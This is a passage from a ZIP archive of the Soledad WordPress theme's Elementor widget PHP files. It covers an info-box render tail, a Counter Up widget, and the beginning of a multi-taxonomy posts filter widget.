					}
					echo $a_after;
					echo '</div>';
				} elseif ( $settings['image'] ) {
					$image_src   = '';
					$image_width = $image_height = $image_hwidth = $image_hheight = '';
					$image_size  = $settings['image_size'] ? $settings['image_size'] : 'thumbnail';
					if ( isset( $settings['image']['id'] ) && $settings['image']['id'] ) {
						$image_src_array = wp_get_attachment_image_src( $settings['image']['id'], $image_size );
						if ( ! empty( $image_src_array ) ) {
							$image_src    = $image_src_array[0];
							$image_width  = $image_src_array[1];
							$image_height = $image_src_array[2];
						}
					}
					if ( ! $image_src && isset( $settings['image']['url'] ) ) {
						$image_src = $settings['image']['url'];
					}

					$img_hover_html = '';

					if ( $settings['image_hover'] ) {
						$image_hover_src = '';
						if ( isset( $settings['image_hover']['id'] ) && $settings['image_hover']['id'] ) {
							$image_hover_src_array = wp_get_attachment_image_src( $settings['image_hover']['id'], $image_size );
							if ( ! empty( $image_hover_src_array ) ) {
								$image_hover_src = $image_hover_src_array[0];
								$image_hwidth    = $image_hover_src_array[1];
								$image_hheight   = $image_hover_src_array[2];
							}
						}
						if ( ! $image_hover_src && isset( $settings['image_hover']['url'] ) ) {
							$image_hover_src = $settings['image_hover']['url'];
						}

						if ( $image_hover_src ) {
							$img_hover_html = '<img class="penci-ibox-img_hover" src="' . esc_url( $image_hover_src ) . '" width="' . $image_hwidth . '" height="' . $image_hheight . '">';
						}
					}

					$img_hv_class = $img_hover_html ? 'has-hover' : 'no-hover';

					if ( $image_src || $img_hover_html ) {

						echo '<div class="penci-ibox-icon penci-ibox-icon--image '.$img_hv_class.'">';
						echo $a_before;

						if ( $image_src ) {
						
							echo '<img class="' . ( $settings['image_hover'] ? 'penci-ibox-img_active' : '' ) . '" src="' . esc_url( $image_src ) . '" width="' . $image_width . '" height="' . $image_height . '">';

						}

						echo $img_hover_html;

						echo $a_after;
						echo '</div>';
					}
				}
				?>
                <div class="penci-ibox-content-wrap">
					<?php if ( $settings['subtitle'] ): ?>
                        <div class="penci-ibox-stit"><?php echo $settings['subtitle']; ?></div><?php endif; ?>
					<?php if ( $settings['title_text'] ): ?><h3
                            class="penci-ibox-title"><?php echo $settings['title_text']; ?></h3><?php endif; ?>
					<?php if ( $settings['_use_line'] ): ?>
                        <div class="pc-ibox-wpline"><span class="penci-ibox-line"></span></div><?php endif; ?>
					<?php if ( $settings['description_text'] ): ?>
                        <div class="penci-ibox-content"><?php echo do_shortcode( wpautop( $settings['description_text'] ) ); ?></div><?php endif; ?>
					<?php
					$add_rm      = $settings['addrm'] ? $settings['addrm'] : '';
					$addrmborder = $settings['addrmborder'] ? $settings['addrmborder'] : '';
					$btn_class   = '';
					if ( 'yes' == $add_rm ) {
						if ( 'yes' == $addrmborder ) {
							$btn_class = ' pc-ibox-borders';
						}
						echo '<div class="penci-ibox-readmore' . $btn_class . '">';
						$treadmore = $settings['treadmore'] ? $settings['treadmore'] : '';
						if ( ! empty( $settings['link']['url'] ) ) {
							echo $button_link_before;
							echo do_shortcode( $treadmore );
							echo $button_link_after;
						} else {
							echo '<a class="penci-ibox-btn">';
							echo do_shortcode( $treadmore );
							echo '</a>';
						}
						echo '</div>';
					}
					?>
                </div>
            </div>
        </div>
		<?php
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}
}
PK     0w\T    -  elementor/modules/penci-counter-up/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCounterUp;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-counter-up';
	}

	public function get_widgets() {
		return array( 'PenciCounterUp' );
	}
}
PK     0w\6O+G  +G  ?  elementor/modules/penci-counter-up/widgets/penci-counter-up.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCounterUp\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Control_Media;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCounterUp extends Base_Widget {

	public function get_name() {
		return 'penci-counter-up';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Counter Up', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-countdown';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'counter' );
	}

	/**
	 * Retrieve the list of scripts the image carousel widget depended on.
	 */
	public function get_script_depends() {
		return array( 'waypoints','jquery-counterup' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Counter Up', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_block_width', array(
				'label'   => __( 'Element Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 1,
				'options' => array(
					'1' => esc_html__( '1 Column ( Small Container Width)', 'soledad' ),
					'2' => esc_html__( '2 Columns ( Medium Container Width )', 'soledad' ),
					'3' => esc_html__( '3 Columns ( Large Container Width )', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'cup_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's2' => esc_html__( 'Style 2', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'cup_align', array(
				'label'   => __( 'Posttion', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'center',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				),
				'condition' => array( 'cup_style' => 's1' ),
			)
		);
		$this->add_control(
			'cup_number', array(
				'label'     => __( 'Number', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'cup_prefix_number', array(
				'label'     => __( 'Prefix of number', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'cup_suffix_number', array(
				'label'     => __( 'Suffix of number', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'cup_title', array(
				'label'     => __( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'cup_icon_type', array(
				'label'   => __( 'Icon type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'icon'  => __( 'Icon', 'soledad' ),
					'image' => __( 'Image', 'soledad' ),
				),
				'default' => 'icon',
			)
		);
		$this->add_control(
			'cup_icon', array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICON,
				'label_block' => true,
				'default'   => 'fas fa-star',
				'condition' => array( 'cup_icon_type' => 'icon' ),
			)
		);
		$this->add_control(
			'cup_image',
			array(
				'label'     => __( 'Choose Image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'default'   => array( 'url' => Utils::get_placeholder_image_src() ),
				'condition' => array( 'cup_icon_type' => 'image' ),
			)
		);

		$this->add_control(
			'icon_border_style', array(
				'label'     => __( 'Icon border style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''       => esc_html__( 'None', 'soledad' ),
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
				),
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--icon' => 'border-style: {{VALUE}}' ),
				'condition' => array( 'cup_icon_type' => 'icon' ),
			)
		);

		$this->add_control(
			'icon_border_width', array(
				'label'     => __( 'Border width for Icon', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--icon' => 'border-width: {{SIZE}}px' ),
				'condition' => array( 'icon_border_style' => array( 'solid', 'dashed', 'dotted', 'double' ) ),
			)
		);
		$this->add_control(
			'icon_border_radius', array(
				'label'     => __( 'Border radius for Icon', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--icon' => 'border-radius: {{SIZE}}px' ),
				'condition' => array( 'icon_border_style' => array( 'solid', 'dashed', 'dotted', 'double' ) ),
			)
		);
		$this->add_control(
			'icon_padding', array(
				'label'     => __( 'Padding for Icon', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--icon' => 'padding: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'_image_width_height', array(
				'label'     => __( 'Image With/Height', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--image' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
				'condition' => array( 'cup_icon_type' => 'image' ),
			)
		);
		$this->add_control(
			'icon_margin_bottom', array(
				'label'     => __( 'Margin Bottom for Icon or Image', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'title_margin_top', array(
				'label'     => __( 'Margin Top for Title', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup-title' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'cup_delay', array(
				'label'     => __( 'Delay', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
			)
		);
		$this->add_control(
			'cup_time', array(
				'label'     => __( 'Time', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
			)
		);

		
		$this->end_controls_section();
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'cup_icon_color', array(
				'label'     => __( 'Icon color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-counter-up .penci-cup_icon' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_responsive_control(
			'cup_icon_size', array(
				'label'     => __( 'Font size for Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-counter-up .penci-cup_icon' => 'font-size: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'cup_number_color', array(
				'label'     => __( 'Number Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-counterup-number' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),array(
				'name' => 'cup_number_typo',
				'label'     => __( 'Typography for Number', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-counterup-number',
			)
		);
		$this->add_control(
			'cup_frefix_color', array(
				'label'     => __( 'Prefix and Suffix Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-cup-postfix,{{WRAPPER}} .penci-cup-prefix' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),array(
				'name' => 'cup_frefix_typo',
				'label'     => __( 'Typography for Prefix and Suffix', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cup-postfix,{{WRAPPER}} .penci-cup-prefix',
			)
		);

		$this->add_control(
			'cup_title_color', array(
				'label'     => __( 'Title color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-cup-title' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),array(
				'name' => 'cup_title_typo',
				'label'     => __( 'Typography for Title', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cup-title',
			)
		);

		$this->end_controls_section();
		$this->start_controls_section(
			'section_title_block',
			array(
				'label' => __( 'Heading Title', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'show_block_heading', array(
				'label'   => __( 'Show Heading Title', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'heading_title_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
					'style-1'           => esc_html__( 'Style 1', 'soledad' ),
					'style-2'           => esc_html__( 'Style 2', 'soledad' ),
					'style-3'           => esc_html__( 'Style 3', 'soledad' ),
					'style-4'           => esc_html__( 'Style 4', 'soledad' ),
					'style-5'           => esc_html__( 'Style 5', 'soledad' ),
					'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
					'style-7'           => esc_html__( 'Style 7', 'soledad' ),
					'style-9'           => esc_html__( 'Style 8', 'soledad' ),
					'style-8'           => esc_html__( 'Style 9 - Custom Background Image', 'soledad' ),
					'style-10'          => esc_html__( 'Style 10', 'soledad' ),
					'style-11'          => esc_html__( 'Style 11', 'soledad' ),
					'style-12'          => esc_html__( 'Style 12', 'soledad' ),
					'style-13'          => esc_html__( 'Style 13', 'soledad' ),
					'style-14'          => esc_html__( 'Style 14', 'soledad' ),
					'style-15'          => esc_html__( 'Style 15', 'soledad' ),
					'style-16'          => esc_html__( 'Style 16', 'soledad' ),
					'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
					'style-18'          => esc_html__( 'Style 18', 'soledad' ),
					'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
					'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
					'style-21'          => esc_html__( 'Style 21', 'soledad' ),
					'style-22'          => esc_html__( 'Style 22', 'soledad' ),
					'style-23'          => esc_html__( 'Style 23', 'soledad' ),
					'style-24'          => esc_html__( 'Style 24', 'soledad' ),
					'style-25'          => __( 'Style 25', 'soledad' ),
					'style-26'          => __( 'Style 26', 'soledad' ),
					'style-27'          => __( 'Style 27', 'soledad' ),
					'style-28'          => __( 'Style 28', 'soledad' ),
					'style-29'          => __( 'Style 29', 'soledad' ),
					'style-30'          => __( 'Style 30', 'soledad' ),
				),
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);
		$this->add_control(
			'heading', array(
				'label'   => __( 'Heading Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Heading Title', 'soledad' ),
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);
		$this->add_control(
			'heading_title_link',
			array(
				'label'       => __( 'Title url', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'separator'   => 'before',
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->add_control(
			'add_title_icon', array(
				'label'     => __( 'Add icon for title?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
				'default'   => '',
				'separator' => 'before',
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->add_control(
			'block_title_icon', array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICON,
				'default'   => 'fas fa-star',
				'label_block' => true,
				'condition' => array(
					'add_title_icon' => 'yes',
					'show_block_heading' => 'yes'
				),
			)
		);
		$this->add_control(
			'block_title_ialign', array(
				'label'     => __( 'Icon Alignment', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'left',
				'options'   => array(
					'left'  => esc_html__( 'Left', 'soledad' ),
					'right' => esc_html__( 'Right', 'soledad' ),
				),
				'condition' => array(
					'add_title_icon' => 'yes',
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->add_control(
			'block_title_align', array(
				'label'   => __( 'Heading Align', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''       => esc_html__( 'Default ( follow Customize )', 'soledad' ),
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				),
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->add_control(
			'heading_icon_pos', array(
				'label'     => __( 'Align Icon on Style 15', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
					'pciconp-right' => esc_html__( 'Right', 'soledad' ),
					'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
				),
				'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
			)
		);
		$this->add_control(
			'heading_icon', array(
				'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
					'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
					'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
					'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
					'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
					'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
					'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
					'pcicon-file'  => esc_html__( 'File', 'soledad' ),
					'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
					'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
				),
				'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
			)
		);

		$this->add_control(
			'block_title_marginbt', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-homepage-title' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-counter-up';
		$css_class .= ' penci-style-' . $settings['cup_style'];
		$css_class .= ' penci-counterup-' . $settings['cup_align'];
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php
			if( isset( $settings['show_block_heading'] ) && $settings['show_block_heading'] ) {
				$this->markup_block_title( $settings, $this );
			}
			?>
			<div class="penci-counter-up_inner">
				<?php
				if ( 'icon' == $settings['cup_icon_type'] ) {

					if( ! empty( $settings['cup_icon'] ) ) {
						$this->add_render_attribute( 'i', 'class', 'penci-cup_iconn--i ' . $settings['cup_icon'] );
						$this->add_render_attribute( 'i', 'aria-hidden', 'true' );

						echo '<div class="penci-cup_icon penci-cup_icon--icon">';
						echo '<i ' . $this->get_render_attribute_string( 'i' ) . '></i>';
						echo '</div>';
					}
				} elseif ( ! empty( $settings['cup_image']['url'] ) ) {
					$this->add_render_attribute( 'image', 'src', $settings['cup_image']['url'] );
					$this->add_render_attribute( 'image', 'alt', Control_Media::get_image_alt( $settings['cup_image'] ) );
					$this->add_render_attribute( 'image', 'title', Control_Media::get_image_title( $settings['cup_image'] ) );

					echo '<div class="penci-cup_icon penci-cup_icon--image">';
					echo  Group_Control_Image_Size::get_attachment_image_html( $settings, 'thumbnail', 'cup_image' );
					echo  '</div>';
				}
				$data_delay  = $settings['cup_delay'] ? $settings['cup_delay'] : 0;
				$data_time   = $settings['cup_time'] ? $settings['cup_time'] : 2000;
				$data_number = $settings['cup_number'] ? $settings['cup_number'] : 0;
				?>
				<div class="penci-cup-info">
					<div class="penci-cup-number-wrapper">
				<span class="penci-span-inner">
				<?php if ( $settings['cup_prefix_number'] ): ?><span class="penci-cup-label penci-cup-prefix"><?php echo do_shortcode( $settings['cup_prefix_number'] ); ?></span><?php endif; ?>
					<span class="penci-counterup-number" data-delay="<?php echo $data_delay; ?>" data-time="<?php echo $data_time; ?>" data-count="<?php echo $data_number; ?>">0</span>
					<?php if ( $settings['cup_suffix_number'] ): ?><span class="penci-cup-label penci-cup-postfix"><?php echo do_shortcode( $settings['cup_suffix_number'] ); ?></span><?php endif; ?>
				</span>
					</div>
					<?php if ( $settings['cup_title'] ): ?>
						<div class="penci-cup-title"><?php echo $settings['cup_title']; ?></div><?php endif; ?>
				</div>
			</div>
		</div>
		<?php
	}
}
PK     0w\&O    @  elementor/modules/penci-multi-taxonomies-posts-filter/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciMultiTaxonomiesPostsFilter;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-multi-taxonomies-posts-filter';
	}

	public function get_widgets() {
		return array( 'PenciMultiTaxonomiesPostsFilter' );
	}
}
PK     0w\Uo5  e  elementor/modules/penci-multi-taxonomies-posts-filter/widgets/penci-multi-taxonomies-posts-filter.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMultiTaxonomiesPostsFilter\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Group_Control_Typography;
use WP_Query;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciMultiTaxonomiesPostsFilter extends Base_Widget {

	public function get_name() {
		return 'penci-multi-taxonomies-posts-filter';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Multi Taxonomies Posts Filter', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-button';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'posts', 'filter', 'penci', 'taxonomies' );
	}

	public function get_script_depends() {
		return [ 'mtp-filters' ];
	}

	protected function register_controls() {

		$this->start_controls_section( 'section_general_content', array(
			'label' => __( 'General Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'tax_position', array(
			'label'   => __( 'Taxonomy Posistion', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'left',
			'options' => [
				'left'  => __( 'Left', 'soledad' ),
				'right' => __( 'Right', 'soledad' ),
			],
		) );

		$this->add_control( 'tax_sticky', array(
			'label'     => __( 'Enable Sticky', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
		) );

		$this->add_responsive_control( 'tax_sizes', array(
			'label'      => __( 'Taxonomy List Column Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%' ),
			'range'      => array( '%' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-mtp-filters-wrapper' => '--sidebar: {{SIZE}}%;'
			)
		) );

		$this->add_responsive_control( 'tax_spacing', array(
			'label'     => __( 'Spacing Between Taxonomy List & Content', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-wrapper' => '--spacing: {{SIZE}}px;'
			)
		) );

		$this->end_controls_section();


		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'Taxonomies', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$tax_options = [];

		foreach ( get_object_taxonomies( 'post', 'object' ) as $tax_name => $tax_info ) {
			if ( ! in_array( $tax_name, [ 'post_format', 'elementor_library_type', 'penci_block_category' ] ) ) {
				$tax_options[ $tax_name ] = $tax_info->label;
			}
		}

		$this->add_control( 'tax', array(
			'label'   => __( 'Taxonomy', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => $tax_options,
			'default' => 'category',
		) );

		$this->add_control( 'taxonomies_ex', [
			'label'       => esc_html__( 'Select the Excluded Taxonomies Terms.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => get_object_taxonomies( 'post' ),
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->add_control( 'taxonomies_in', [
			'label'       => esc_html__( 'Select the Included Taxonomies Terms.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => get_object_taxonomies( 'post' ),
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->add_control( 'orderby', array(
			'label'   => __( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'term_id',
			'options' => [
				'term_id' => __( 'ID', 'soledad' ),
				'name'    => __( 'Name', 'soledad' ),
				'slug'    => __( 'Slug', 'soledad' ),
				'count'   => __( 'Count', 'soledad' ),
			],
		) );

		$this->add_control( 'order', array(
			'label'   => __( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'DESC',
			'options' => [
				'ASC'  => __( 'ASC', 'soledad' ),
				'DESC' => __( 'DESC', 'soledad' ),
			],
		) );

		$this->add_control( 'count', array(
			'label' => __( 'Show posts count?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'maxitems', array(
			'label'   => __( 'Limit Terms to Show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 10,
		) );

		$this->add_control( 'ajax_loading_style', array(
			'type'    => Controls_Manager::SELECT,
			'label'   => esc_html__( 'Loading Icon Style', 'soledad' ),
			'default' => 'df',
			'options' => [
				'df' => __( 'Follow Customize', 'soledad' ),
				's9' => __( 'Style 1', 'soledad' ),
				's2' => __( 'Style 2', 'soledad' ),
				's3' => __( 'Style 3', 'soledad' ),
				's4' => __( 'Style 4', 'soledad' ),
				's5' => __( 'Style 5', 'soledad' ),
				's6' => __( 'Style 6', 'soledad' ),
				's1' => __( 'Style 7', 'soledad' ),
			],
			//'label_block' => true,
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_post_listing', array(
			'label' => esc_html__( 'Post Settings', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'post_orderby', array(
			'label'   => __( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'date',
			'options' => [
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __( 'Post ID', 'soledad' ),
				'modified'      => __( 'Modified Date', 'soledad' ),
				'title'         => __( 'Post Title', 'soledad' ),
				'rand'          => __( 'Random Posts', 'soledad' ),
				'comment_count' => __( 'Comment Count', 'soledad' ),
				'most_liked' 	=> __( 'Most Liked', 'soledad' ),
				'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
				'popular_day'   => __( 'Most Viewed Posts Daily', 'soledad' ),
				'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
				'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
			],
		) );

		$this->add_control( 'post_order', array(
			'label'   => __( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'DESC',
			'options' => [
				'ASC'  => __( 'ASC', 'soledad' ),
				'DESC' => __( 'DESC', 'soledad' ),
			],
		) );

		$this->add_control( 'posts_per_page', array(
			'label'   => __( 'Posts Per Page', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 10,
		) );

		$this->add_control( 'column', array(
			'label'   => __( 'Columns', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'default' => '1',
		) );

		$this->add_control( 'tab_column', array(
			'label'   => __( 'Columns on Tablet', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
			),
			'default' => '',
		) );

		$this->add_control( 'mb_column', array(
			'label'   => __( 'Columns on Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
			),
			'default' => '',
		) );

		$this->add_responsive_control( 'hgap', array(
			'label'     => __( 'Horizontal Space Between Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
